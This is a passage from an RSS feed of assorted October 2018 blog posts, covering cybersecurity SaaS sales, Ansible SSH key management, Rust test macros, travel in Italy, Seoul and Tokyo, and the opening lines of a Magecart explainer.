isPermaLink="true">https://blog.usejournal.com/classes-where-were-going-we-don-t-need-classes-react-16-6-e643ffc8c38d</guid></item><item><title>Sales for Cybersecurity Saas</title><link>https://ferrucc.io/posts/sales-for-cybersecurity-saas/</link><description>&lt;p&gt;It&amp;rsquo;s been almost I month after I started working on &lt;a href="https://magehash.com"&gt;Magehash&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is my first cybersecurity product I&amp;rsquo;ve ever developed so I decided to share what I learned so far!&lt;/p&gt;
&lt;h2 id="1-selling-pain-points"&gt;1) Selling Pain Points&lt;/h2&gt;
&lt;p&gt;We can divide products into three different groups: candies, painkillers and vitamins.&lt;/p&gt;
&lt;p&gt;We don&amp;rsquo;t want to have much to do with candies.&lt;/p&gt;
&lt;p&gt;Vitamins are interesting.&lt;/p&gt;
&lt;p&gt;We love Painkillers.&lt;/p&gt;
&lt;p&gt;For Cyber security software it&amp;rsquo;s hard to be a painkiller as what we&amp;rsquo;re generally trying to do is prevent attacks. Generally these kinds of products are like vitamins, they make us stronger, but we don&amp;rsquo;t really notice the effect they have on our health.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Tue, 23 Oct 2018 22:12:03 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/sales-for-cybersecurity-saas/</guid></item><item><title>Setting up Github SSH</title><link>https://ilearnt.com/blog/githubssh/</link><description>&lt;p&gt;Just a reminder of the starting point for setting up SSH with Github so I don&amp;rsquo;t have to keep looking for it each time.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 23 Oct 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/githubssh/</guid></item><item><title>Managing Linux Users &amp;amp; SSH keys using Ansible</title><link>https://badshah.io/blog/managing-linux-users-ssh-keys-using-ansible/</link><description>Today I was assigned a task to create user accounts on an EC2 instance (Ubuntu) and also add SSH public keys to the respective user account’s authorized key list. The EC2 instance would act as a gateway to access the internal network. (This is a basic setup in which the user creates an SSH tunnel to access resources on the internal network. It’s not a foolproof security solution but controls external access to some extent)</description><author>Chandrapal Badshah | Cloud Security Consultant for Startups on Chandrapal Badshah</author><pubDate>Mon, 22 Oct 2018 21:30:00 GMT</pubDate><guid isPermaLink="true">https://badshah.io/blog/managing-linux-users-ssh-keys-using-ansible/</guid></item><item><title>Fun PresentationFramework side-effect of bad equality</title><link>https://liza.io/fun-presentationframework-side-effect-of-bad-equality/</link><description>&lt;p&gt;I looked into a pretty fun bug a few days ago. The symptom: a WPF DataGrid populated with an &lt;code&gt;ICollectionView&lt;/code&gt; was seeing inconsistent row copy behaviour. You would select a row by clicking on it and press Ctrl+C, but instead of copying the row you selected it would copy the row your cursor was hovering over.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Mon, 22 Oct 2018 18:50:57 GMT</pubDate><guid isPermaLink="true">https://liza.io/fun-presentationframework-side-effect-of-bad-equality/</guid></item><item><title>Is prayer a vibration?</title><link>https://honza.pokorny.ca/2018/10/is-prayer-a-vibration/</link><description>&lt;p&gt;Recently, I came across an item someone in my Facebook timeline shared.  The
author was thinking about what prayer is.  Here is what it said:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Do you pray?&lt;/p&gt;
&lt;p&gt;I love this interpretation of a Prayer.  What is a prayer?  Prayer doesn&amp;rsquo;t
only happen when we kneel or put our hands together and focus and expect
things from God.  Thinking positive and wishing good for others is a prayer.
When you hug a friend.  That&amp;rsquo;s a prayer.  When you cook something to nourish
family and friends.  That&amp;rsquo;s a prayer.  When we send off our near and dear
ones say, &amp;ldquo;Drive safely&amp;rdquo; or &amp;ldquo;Be safe&amp;rdquo;.  That&amp;rsquo;s a prayer.  When you are
helping someone in need by giving your time and energy.  You are praying.
Prayer is a vibration.  A feeling.  A thought.  Prayer is the voice of love,
friendship, genuine relationships.  Prayer is an expression of your silent
being.  Keep praying always&amp;hellip;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;The interesting part is that this person is a professed Christian.  How can
someone who regularly attends a church service where the Word of God is preached
arrive at a definition like this one?  The modern evangelical church has lost
its rigor in teaching pure doctrine to its members.  There is often very little
structure and precision.  I&amp;rsquo;d suggest that we have failed our people if we
neglect to explain such basic concepts as prayer.&lt;/p&gt;
&lt;p&gt;However, since the Reformation, there has been a strong tradition of teaching
doctrine in the form of catechism: prepared questions and answers that the
students were expected to memorize.  From a young age, children were taught how
to articulate the core tenets of their faith.  The catechism explains doctrines
of Scripture, sin, justification, sanctification, repentance; it covers the ten
commandments, and the Lord&amp;rsquo;s prayer.  This practice is unfortunately foreign to
the modern evangelical church.&lt;/p&gt;
&lt;p&gt;Why am I bring all this up?  Here is Question 98 of the &lt;a href="https://en.wikipedia.org/wiki/Westminster_Shorter_Catechism"&gt;Westminster Shorter
Catechism&lt;/a&gt;, it asks &amp;ldquo;What is prayer?&amp;rdquo;.  Here is the answer succinct answer
which wonderfully summarizes what prayer is according to the Scriptures:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Prayer is an offering up of our desires unto God, for things agreeable to
his will, in the name of Christ, with confession of our sins, and thankful
acknowledgment of his mercies.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;If you have memorized a catechism, you will have a framework in your mind by
which you can assess new ideas coming at your from social media.  It can serve
as a useful sieve for quickly determining what is pure doctrine, and what is of
the world.&lt;/p&gt;
&lt;p&gt;And lastly, here is an example of &lt;a href="https://www.youtube.com/watch?v=uWGITMy33IA"&gt;how to catechize your children&lt;/a&gt; on the
Lord&amp;rsquo;s day.&lt;/p&gt;</description><author>Honza Pokorný</author><pubDate>Mon, 22 Oct 2018 17:00:00 GMT</pubDate><guid isPermaLink="true">https://honza.pokorny.ca/2018/10/is-prayer-a-vibration/</guid></item><item><title>NVMe SSD Upgrade Guide for an Early 2015 MacBook Pro</title><link>https://grh.am/2018/nvme-ssd-upgrade-guide-for-an-early-2015-macbook-pro/</link><description>&lt;p&gt;It&amp;rsquo;s early 2016, and my employer comes up with a scheme that can help us purchase a laptop and spread the cost over 12 months. For those of us in the UK, it is managed by the same company that also do the Cycle To Work Scheme vouchers etc.&lt;/p&gt;
&lt;p&gt;At the time, I had a capable but old MacBook Pro (2011 I believe), so the temptation of an upgrade was too great, and I jumped at the opportunity for a shiny new retina MacBook Pro (Early 2015). As it turns out, they were just drop-shipping the standard builds, which meant any customisation (upgrading the RAM etc.) was out of the question. Entry-level 128GB SSD, 8GB RAM it is then!&lt;/p&gt;</description><author>Graham Stevens – Grh.am</author><pubDate>Mon, 22 Oct 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://grh.am/2018/nvme-ssd-upgrade-guide-for-an-early-2015-macbook-pro/</guid></item><item><title>Custom assertions using Rust macros</title><link>https://philbooth.me/blog/custom-assertions-using-rust-macros/</link><description>&lt;p&gt;Recently &lt;a href="/blog/refactoring-with-rust-macros"&gt;I wrote&lt;/a&gt;
about how Rust macros
make it easy to refactor repetitive code
that might otherwise become annoying
in a strongly-typed language.
Continuing the theme from that post,
I&amp;rsquo;ve noticed another use case
where macros can be beneficial:
writing custom assertions in tests.&lt;/p&gt;
&lt;p&gt;In the &lt;a href="https://philbooth.gitlab.io/unicode-bom/unicode_bom/"&gt;unicode-bom&lt;/a&gt; crate,
there&amp;rsquo;s a bunch of tests
that assert the different
Unicode byte-order marks
are parsed correctly
and, just as importantly,
that a number of similar byte sequences
are not incorrectly identified
as byte-order marks.&lt;/p&gt;
&lt;p&gt;The cruft in these assertions isn&amp;rsquo;t huge,
but it&amp;rsquo;s enough to reduce readability
for the key parts of each assertion.
Here&amp;rsquo;s what one of them looks like
without the assistance of a macro:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;assert_eq!(Bom::from(vec![0u8, 0u8, 0xfeu8, 0xffu8].as_slice()), Bom::Utf32Be);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That may not seem too bad at first glance,
but in context it swiftly becomes a wall
of impenetrable boilerplate:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;assert_eq!(Bom::from(vec![0u8, 0u8, 0xfeu8].as_slice()), Bom::Null);
assert_eq!(Bom::from(vec![0u8, 0u8, 0xfeu8, 0xfeu8].as_slice()), Bom::Null);
assert_eq!(Bom::from(vec![0u8, 0u8, 0xfeu8, 0xffu8].as_slice()), Bom::Utf32Be);
assert_eq!(Bom::from(vec![0x0eu8, 0xfeu8].as_slice()), Bom::Null);
assert_eq!(Bom::from(vec![0x0eu8, 0xffu8, 0xfeu8].as_slice()), Bom::Null);
assert_eq!(Bom::from(vec![0x0eu8, 0xfeu8, 0xffu8].as_slice()), Bom::Scsu);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However,
a macro to tidy it up
is pretty simple:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;macro_rules! assert_bom {
    ([$($byte:expr),*], $bom:ident) =&amp;gt; {
        assert_eq!(Bom::from(vec![$($byte as u8),*].as_slice()), Bom::$bom)
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With that in place,
the assertions from earlier
now look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;assert_bom!([0, 0, 0xfe], Null);
assert_bom!([0, 0, 0xfe, 0xfe], Null);
assert_bom!([0, 0, 0xfe, 0xff], Utf32Be);
assert_bom!([0x0e, 0xfe], Null);
assert_bom!([0x0e, 0xff, 0xfe], Null);
assert_bom!([0x0e, 0xfe, 0xff], Scsu);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The benefit here is that
a reader&amp;rsquo;s eye
is only confronted by
the key part of each assertion.
All you can see
are the byte sequences
and the expected result,
which means it&amp;rsquo;s easy to zero in
on any problems
if you&amp;rsquo;re debugging
a failing test.
And because you&amp;rsquo;re already used to
the standard assertion macros
like &lt;code&gt;assert!&lt;/code&gt; and &lt;code&gt;assert_eq!&lt;/code&gt;,
a name like &lt;code&gt;assert_bom!&lt;/code&gt;
is immediately intuitive.&lt;/p&gt;</description><author>Phil Booth's Blog</author><pubDate>Sun, 21 Oct 2018 20:35:40 GMT</pubDate><guid isPermaLink="true">https://philbooth.me/blog/custom-assertions-using-rust-macros/</guid></item><item><title>Holiday to Italy visiting Pompeii, Herculaneum, Vesuvius and the Amalfi Coast</title><link>https://sam.hooke.me/trip/2018/10/holiday-to-italy-visiting-pompeii-herculaneium-vesuvius-and-the-amalfi-coast/</link><description>&lt;p&gt;This year we went on holiday to Italy for a week, staying near Naples. There are many wonderful sights in the area, such as Mt. Vesuvius, Pompeii, Herculaneum and the Amalfi Coast. Off the beaten track, the food is cheap and pizza is unlike anywhere else we&amp;rsquo;ve experienced &amp;ndash; which makes sense given it&amp;rsquo;s the region that invented the stuff!&lt;/p&gt;
&lt;p&gt;We arrived on Wednesday 3rd October, and following is a brief day-by-day account.&lt;/p&gt;</description><author>Sam Hooke</author><pubDate>Sun, 21 Oct 2018 19:37:00 GMT</pubDate><guid isPermaLink="true">https://sam.hooke.me/trip/2018/10/holiday-to-italy-visiting-pompeii-herculaneium-vesuvius-and-the-amalfi-coast/</guid></item><item><title>Erratic scratches</title><link>https://kajic.com/post/179258391770</link><description>&lt;p&gt;Erratic scratches&lt;/p&gt;&lt;p&gt;Disconnected projections&lt;/p&gt;&lt;p&gt;Unbounded geometries&lt;/p&gt;&lt;p&gt;Lurching unmovement &lt;/p&gt;&lt;p&gt;This strange brown chaos everywhere&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Transformed&lt;/p&gt;&lt;p&gt;Into infinite order&lt;/p&gt;&lt;p&gt;Into endless fields &lt;/p&gt;&lt;p&gt;Of quietly synchronized &lt;/p&gt;&lt;p&gt;Orange turning cubes&lt;/p&gt;</description><author>ka-yich</author><pubDate>Sun, 21 Oct 2018 02:15:01 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/179258391770</guid></item><item><link>https://kajic.com/post/179258269410</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/1448cd9dc23e8dfa9066c99eb02fe81b/tumblr_pgx70lTzFr1qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Sun, 21 Oct 2018 02:09:58 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/179258269410</guid></item><item><link>https://kajic.com/post/179258217935</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/8ac748f2cb488e2d7fe83c272b7ab43d/tumblr_pgx6wwhK9o1qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Sun, 21 Oct 2018 02:07:44 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/179258217935</guid></item><item><title>Treasure Hunt</title><link>https://heitorpb.github.io/bla/geocaching/</link><description>I hunted a treasure. Treasure hunting is actually a sport called geocaching.</description><author>Heitor's log</author><pubDate>Sat, 20 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://heitorpb.github.io/bla/geocaching/</guid></item><item><title>2018-10-20</title><link>https://ho.dges.online/pictures/2018-10-20/</link><description/><author>ho.dges.online</author><pubDate>Sat, 20 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-10-20/</guid></item><item><title>On NYC, Tokyo and Seoul</title><link>http://notes.eatonphil.com/on-nyc-tokyo-and-seoul.html</link><description>&lt;p&gt;I’ve lived in NYC for the past year — moved here after years in Philly
and after growing up in a rural community a few hours west of
there. My wife is South Korean and last week concluded my second trip
to the suburbs of Seoul to visit her family. We finished up that trip
with a week in Tokyo.&lt;/p&gt;
&lt;p&gt;Long a mecha and Godzilla fan, I was struck by a city not
significantly more modern, or significantly more “Eastern”, than
NYC. In contrast, the lesser known Seoul is more modern than both
cities and shares as much “Eastern” vibe as Tokyo.&lt;/p&gt;
&lt;p&gt;I’d go so far as to say that Seoul is the most livable of the three
for anyone of a similar background. There are a few concrete areas
that led me to this including transportation, apartments, WiFi/cafes,
food, and language.&lt;/p&gt;
&lt;p&gt;I'll conclude with a few tourist recommendations and a list of books
to read on South Korea and Japan if you share my enthusiasm for
comparing life in different cities.&lt;/p&gt;
&lt;h3 id="transportation"&gt;Transportation&lt;/h3&gt;&lt;p&gt;NYC is one of the few cities in the world with a subway that runs
24/7. Tokyo and Seoul do not share this trait despite being many
decades newer. (Tokyo and Seoul were heavily damaged during World War
II and the Korean War, respectively.) And despite being built later,
Tokyo subway cars are even less wide than NYC subway cars (~8.2ft
vs. ~8.5ft).&lt;/p&gt;
&lt;p&gt;In contrast, Seoul subway cars are ~10.2ft wide. The difference may
seem slight but it is noticeable during rush hour when in Seoul there
is space for four people to stand in the aisle versus room for perhaps
two in a Tokyo or NYC subway car.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Seoul subway car" src="https://photos.travelblog.org/Photos/10223/428861/f/4174039-Seoul-subway-car-0.jpg" /&gt;
&lt;small&gt;Seoul subway car, source: Travel Blog&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;The Seoul subway system is also the most advanced in terms of
safety. All stations have a floor-to-ceiling barrier with doors that
only open when a train arrives. Most stations in Tokyo have a ~3ft
tall barrier that does the same, though some stations have no
barrier. In NYC there are no barriers anywhere.&lt;/p&gt;
&lt;p&gt;Concerning innovation, Seoul and Tokyo both have multiple driverless
subway lines whereas NYC has none. But in terms of complexity the NYC
subway is the simplest because you pay only once. Seoul and Tokyo
subways are slightly more complex in that you swipe your card when you
enter and exit (or transfer).&lt;/p&gt;
&lt;h4 id="taxis"&gt;Taxis&lt;/h4&gt;&lt;p&gt;It was jarring to be greeted by the very 90s, vaguely British Toyota
Crown taxi cabs that dominate the streets of Tokyo.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Toyota Crown cab" src="https://i.imgur.com/WuIHqxY_d.jpg?maxwidth=640&amp;amp;shape=thumb&amp;amp;fidelity=medium" /&gt;
&lt;small&gt;Source: Phil Eaton&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;These cabs have no integrated navigation unit but a modern unit was
typically mechanically attached. We saw a few of the recently approved
Toyota JPN Taxi, but they only account for around &lt;a href="https://www.japantimes.co.jp/news/2018/05/23/business/taxi-tokyo-prepares-olympic-tourism-boom-accessible-cabs-international-drivers/"&gt;10
percent&lt;/a&gt;
of cabs. (The integrated navigation is massive, perhaps 10-inch
screens.) In contrast, Seoul has a
&lt;a href="http://travel.cnn.com/seoul/life/seoul-taxi-guide-783378/"&gt;variety&lt;/a&gt;
of modern cabs all with integrated navigation — the most common of
which is the Hyundai Sonata.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Hyundai Sonata cab" src="http://www.theseoulguide.com/wp-content/uploads/2013/09/regular_orange_taxi_in_seoul.jpg" /&gt;
&lt;small&gt;Source: The Seoul Guide&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;Although Japanese car companies
&lt;a href="https://www.motortrend.com/news/12q2-1993-eunos-mazda-cosmo-drive/"&gt;pioneered&lt;/a&gt;
integrated navigation in the 90s, it appears to have been the standard
for South Korean car companies for the past 10-20 years.&lt;/p&gt;
&lt;p&gt;And then there’s NYC with its primary mix of Crown Victorias and
Priuses with multiple 4-inch smartphones mechanically attached for
navigation.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://thenypost.files.wordpress.com/2013/10/cab2.jpg?quality=90&amp;amp;strip=all" /&gt;
&lt;small&gt;Source: New York Post&lt;/small&gt;&lt;/p&gt;
&lt;h3 id="living"&gt;Living&lt;/h3&gt;&lt;p&gt;South Korea has no concept of the suburb oriented around single-family
houses. Drive an hour or two out from Seoul or Busan and see the same
massive, modern apartment complexes that are found in the city
center. After that it's the stark farms of Kansas. Japan appears more
like the US in that the city graduates steadily to suburb and farm.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Apartments in Seoul" src="https://cdn.japantimes.2xx.jp/wp-content/uploads/2013/09/wn20130918n2a-870x580.jpg" /&gt;
&lt;small&gt;Apartments in Seoul, source: Japan Times&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;In general, buildings in South Korea are fairly homogeneous. Even the
downtown areas of Seoul have little architectural creativity. Tokyo
and NYC are both diverse in building styles and sizes. However, NYC
takes the cake for ubiquity of massive towers. In fact, the first time
my South Korean father-in-law visited Manhattan he was blown away by
this mass.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Manhattan skyline" src="https://upload.wikimedia.org/wikipedia/commons/thumb/8/8e/Manhattan_Skyline_night.jpg/800px-Manhattan_Skyline_night.jpg" /&gt;
&lt;small&gt;New York City, source: Wikipedia&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;The most popular neighborhoods in Tokyo seem more developed than their
Seoul counterparts, the mass of stores and crowds extends further. And
while the average age of buildings in Tokyo seems younger than the
average age of buildings throughout Seoul (including less desirable
areas), the developed areas (including buildings and streets) of Seoul
are significantly cleaner and more modern. In contrast, and on average,
Tokyo buildings seem as old as NYC buildings.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cdn.fodors.com/wp-content/uploads/2018/02/Tokyo-Neighborhoods-Along-Arakawa-Streetcar-1.jpg" /&gt;
&lt;small&gt;Tokyo, source: Fodors&lt;/small&gt;&lt;/p&gt;
&lt;h4 id="air-quality"&gt;Air quality&lt;/h4&gt;&lt;p&gt;Air quality in &lt;a href="https://www.numbeo.com/pollution/in/New-York"&gt;NYC&lt;/a&gt; and
&lt;a href="https://www.numbeo.com/pollution/in/Tokyo"&gt;Tokyo&lt;/a&gt; is high, pollution
is low. But in &lt;a href="https://www.upi.com/Fine-dust-levels-soar-in-South-Korea/5581523776231/"&gt;recent
times&lt;/a&gt;,
air quality in Seoul has deteriorated with dangerous levels of fine
dust from factories in South Korea and China. It is not clear when or
how the South Korean government will address this.&lt;/p&gt;
&lt;h3 id="wifi/cafes"&gt;WiFi/Cafes&lt;/h3&gt;&lt;p&gt;My idea of a good cafe is a decent ratio of seats to traffic,
available electrical outlets, and decent WiFi. NYC and Tokyo have some
similarities: chain coffee shops are larger and non-chains are often
pretty small. Tokyo differs from NYC in that there are few electrical
outlets and in the existence of interior smoking sections. (Tokyo bans
smoking while walking but designates areas like parks or inner
rooms in restaurants or cafes.)&lt;/p&gt;
&lt;p&gt;But the WiFi in Tokyo is abysmal. Many cafes do not have it (though
the trend is to provide) and even the chains that do provide it have
terrible speeds reaching peaks of 5Mbps down. In NYC WiFi is available
near ~20Mbps down at most chains and ~5Mpbs at smaller non-chains.&lt;/p&gt;
&lt;p&gt;In contrast, South Korea is the jewel of cafe culture. Unlike how in
the US coffee shop size decreases as population increases, coffee shop
sizes in South Korea are oddly enormous everywhere. South Korea is
rich with local shops, domestic chains (including the exported Paris
Baguette and Tous Les Jours), and foreign chains (South Korea has the
highest number of Starbucks Reserve stores per capita of any country).&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://file.mk.co.kr/meet/neds/2018/06/image_readtop_2018_402044_15299876083365412.jpg" /&gt;
&lt;small&gt;Starbucks Reserve in Seoul, source: Pulse News&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;From Jeju Island to Seoul we never worried about a seat or an outlet
at a cafe. Furthermore, the WiFi in South Korea is incredible. My
tech-hopeless in-law’s basic internet plan got 80Mbps down and the
small cafes near their apartment got at least 40Mbps down.&lt;/p&gt;
&lt;p&gt;NYC falls closer to Seoul in terms of ubiquity and speed of WiFi and
has the added benefit of fast city-provided, outdoor WiFi surprisingly
fast and available throughout the city. NYC is much worse in terms of
daylight. Most cafes close between 8-10pm whereas cafes in Seoul and
Tokyo easily stay open past 11pm.&lt;/p&gt;
&lt;h4 id="caveat"&gt;Caveat&lt;/h4&gt;&lt;p&gt;It’s not exactly fair to exclude internet cafes, prevalent in both
Seoul and Tokyo (oddly even NYC has a
&lt;a href="https://www.google.com/maps?q=nyc+internet+cafe&amp;amp;um=1&amp;amp;ie=UTF-8&amp;amp;sa=X&amp;amp;ved=0ahUKEwjE0-PxuZTeAhWTdXAKHYDFB1cQ_AUIDigB"&gt;few&lt;/a&gt;). At
an internet cafe in Tokyo you can expect abundant outlets and
excellent WiFi (I saw peaks of 40Mbps down). I did not visit an
internet cafe in Seoul but I expect it to be similar. In both Seoul
and Tokyo you can easily find 24/7 service (with showers!?).&lt;/p&gt;
&lt;p&gt;I did not include internet cafes above because I find them slightly
less convenient for tourists. Though credit is due: unlike American
Chinatown internet cafes, the ones we visited in Tokyo were very
clean, spacious and warm.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Internet cafe in Shinjuku" src="http://rakutama.com/en/images/shop/koriyama.jpg" /&gt;
&lt;small&gt;Internet cafe in Shinjuku, source: Rakutama&lt;/small&gt;&lt;/p&gt;
&lt;h3 id="food"&gt;Food&lt;/h3&gt;&lt;p&gt;Dining out in NYC is similar in cost to other major US cities. The
quality is usually pretty good. Tokyo was about as expensive as food
in NYC and generally as high quality. For instance, most dinners in
NYC and Tokyo cost about $40-60 for two people. In contrast, most
entrees in Seoul are sold for two and the dinner in total was often
about $20-40. Restaurants on average seemed to be lower quality in
Seoul compared to Tokyo and New York, but there are still more than
enough high quality options.&lt;/p&gt;
&lt;h3 id="language"&gt;Language&lt;/h3&gt;&lt;p&gt;I am biased having a better knowledge of Korean than Japanese and a
South Korean partner to fall back on. But I believe South Korea is the
more friendly place for an English speaker in that it is more
dedicated to providing English translations and that the written
language is simpler. In both cities the penetration of
English-speaking natives (and quality of speech and comprehension) is
indistinguishable and decent.&lt;/p&gt;
&lt;p&gt;To the first point, even the oddest locations and obscure signage had
English translations in South Korea (not just Seoul) — not so even
within Tokyo.&lt;/p&gt;
&lt;p&gt;To the second point, Japanese has three writing systems (kanji,
hiragana, and katakana). Kanji (characters originating from Chinese)
cannot be replaced in writing by phonetic counterparts in hiragana or
katakana. So you have little choice but to memorize all important
characters, disregarding the fact that many characters can be broken
down. Then you must also memorize the alphabetic systems of hiragana
and katakana.&lt;/p&gt;
&lt;p&gt;In contrast, Korean has two writing systems (hangul and hanja) where
hanja (characters originating from Chinese) is primarily used in
formal settings (government forms, academic books, etc.) and can be
replaced with the phonetic equivalent in hangul.&lt;/p&gt;
&lt;p&gt;This makes it much simpler to memorize and read Korean compared to
Japanese.&lt;/p&gt;
&lt;h3 id="assorted-recommendations"&gt;Assorted recommendations&lt;/h3&gt;&lt;p&gt;For New Yorkers, don’t stay in the recommended areas of
Shinjuku/Shibuya/Roppongi unless you’re the type who’d enjoy staying
around Times Square. These three areas of Tokyo are just as obnoxious
albeit much safer. I also don’t recommend the Harajuku area; it is
extra. There’s no real equivalent level of crazy in Seoul although
Hongdae comes close.&lt;/p&gt;
&lt;p&gt;In a future Tokyo trip I’d stick to the Meguro Station area including
Ebisu and Daikanyama. They are beautiful, quiet neighborhoods with
lots of restaurants and cafes beside the Meguro river. Areas along the
Sumida River are also beautiful and quiet. Ginza/Tokyo Station is
also a fun-but-not-obnoxious area to visit.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Ebisu" src="https://odis.homeaway.com/odis/listing/f3fd8dfd-c29e-4ab3-a0cd-19a99bdc3c7f.c10.jpg" /&gt;
&lt;small&gt;Ebisu, source: Homeaway&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;I cannot recommend the Edo-Tokyo Museum enough, it is the best city
museum I've visited. Tsukiji is also a must see, reminding me how much
I miss going to Reading Terminal Market each weekend in Philly.&lt;/p&gt;
&lt;p&gt;In Seoul I’d recommend Yeonnam-Dong, Itaewon (which is much nicer than
it’s made out to be), and Gwanghwamun. Mapo-Gu in general is a great
region of Gangbuk as is the area below it (near Yeouido) in
Gangnam.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Yeonnam-dong" src="https://i.imgur.com/ttdg5Y7.jpg?maxwidth=640" /&gt;
&lt;small&gt;Yeonnam-Dong, source: Phil Eaton&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;I recommend visiting the National Museum of Korea in Seoul as well as
Hangang Park and Gyeongui Line Forest Park. The areas around the
Tancheon stream flowing South to Bundang are also beautiful.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tancheon near Bundang" src="https://misadventuresofanawkwardamerican.files.wordpress.com/2014/05/dscn05912.jpg" /&gt;
&lt;small&gt;Tancheon near Bundang, source: Misadventures of an Awkward American&lt;/small&gt;&lt;/p&gt;
&lt;h3 id="conclusion"&gt;Conclusion&lt;/h3&gt;&lt;p&gt;I came to Tokyo with the expectation of a highly modern city fused
with Eastern culture. But it is difficult to see many ways it is ahead
of NYC technically and it is very similar to NYC culturally. In some
ways Tokyo even seems a little stuck in the past or just... off. Why
are all vending machines [e.g. for tickets, ordering food, etc.]
mechanical and not touch screens? The National Museum of Science is
awfully old and ugly, the National Diet Building the same.&lt;/p&gt;
&lt;p&gt;So on the one hand I’d like to let the next person down lightly on the
excitement of Japan. It is a world-class city with great restaurants,
live music and refined culture but all-in-all very similar to NYC. On
the other hand I recommend Seoul for a cheaper, cleaner, more
English-speaker friendly, and genuinely novel city with splashes of
"Eastern" romantic elements like Tokyo.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Cherry blossoms in Seoul" src="http://www.englishspectrum.com/wp-content/uploads/2015/03/yeoido.JPG-1.jpg" /&gt;
&lt;small&gt;Cherry blossoms in Seoul, source: English Spectrum&lt;/small&gt;&lt;/p&gt;
&lt;h3 id="further-reading"&gt;Further reading&lt;/h3&gt;&lt;p&gt;&lt;a href="https://amzn.to/2PNOsih"&gt;MITI and the Japanese Miracle: The Growth of Industrial Policy,
1925-1975&lt;/a&gt; is an excellent, albeit somewhat
disputed introduction to the modern Japanese economy.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://amzn.to/2EIw6hc"&gt;Asia’s Next Giant: South Korea and Late
Industrialization&lt;/a&gt; is a similar high-quality
introduction to the South Korean economy.&lt;/p&gt;
&lt;p&gt;If you’re only familiar with
US/Canadian companies or other “pure” market economies these two books
are a great read on different, challenging styles of government
policy, corporate structure, and life.&lt;/p&gt;
&lt;p class="note"&gt;
  P.s. I’m looking for book recommendations on the last 20 years of
  economic/political history in Japan and South Korean and on the last
  100 years of economic/political history in the US and NYC.
&lt;/p&gt;&lt;p&gt;&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;Wrote a few points of comparison between &lt;a href="https://twitter.com/hashtag/nyc?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#nyc&lt;/a&gt;, &lt;a href="https://twitter.com/hashtag/seoul?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#seoul&lt;/a&gt;, and &lt;a href="https://twitter.com/hashtag/tokyo?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#tokyo&lt;/a&gt; after finishing a recent trip. &lt;a href="https://t.co/oKo4YlTZV3"&gt;https://t.co/oKo4YlTZV3&lt;/a&gt;&lt;/p&gt;&amp;mdash; Phil Eaton (@phil_eaton) &lt;a href="https://twitter.com/phil_eaton/status/1053645222402416641?ref_src=twsrc%5Etfw"&gt;October 20, 2018&lt;/a&gt;&lt;/blockquote&gt; &lt;/p&gt;</description><author>Notes on software development</author><pubDate>Sat, 20 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/on-nyc-tokyo-and-seoul.html</guid></item><item><title>Everything you need to know on Magecart Attacks</title><link>https://ferrucc.io/posts/magecart/</link><description>&lt;p&gt;In the last month a group of hackers called Magecart came back striking in full force.&lt;/p&gt;
&lt;p&gt;They first appeared in the news back in 2015 when &lt;a href="https://riskiq.com"&gt;RiskIQ&lt;/a&gt; found out they injected code in Magento&amp;rsquo;s &amp;ldquo;Magecart&amp;rdquo; shopping software. Thus the name.&lt;/p&gt;
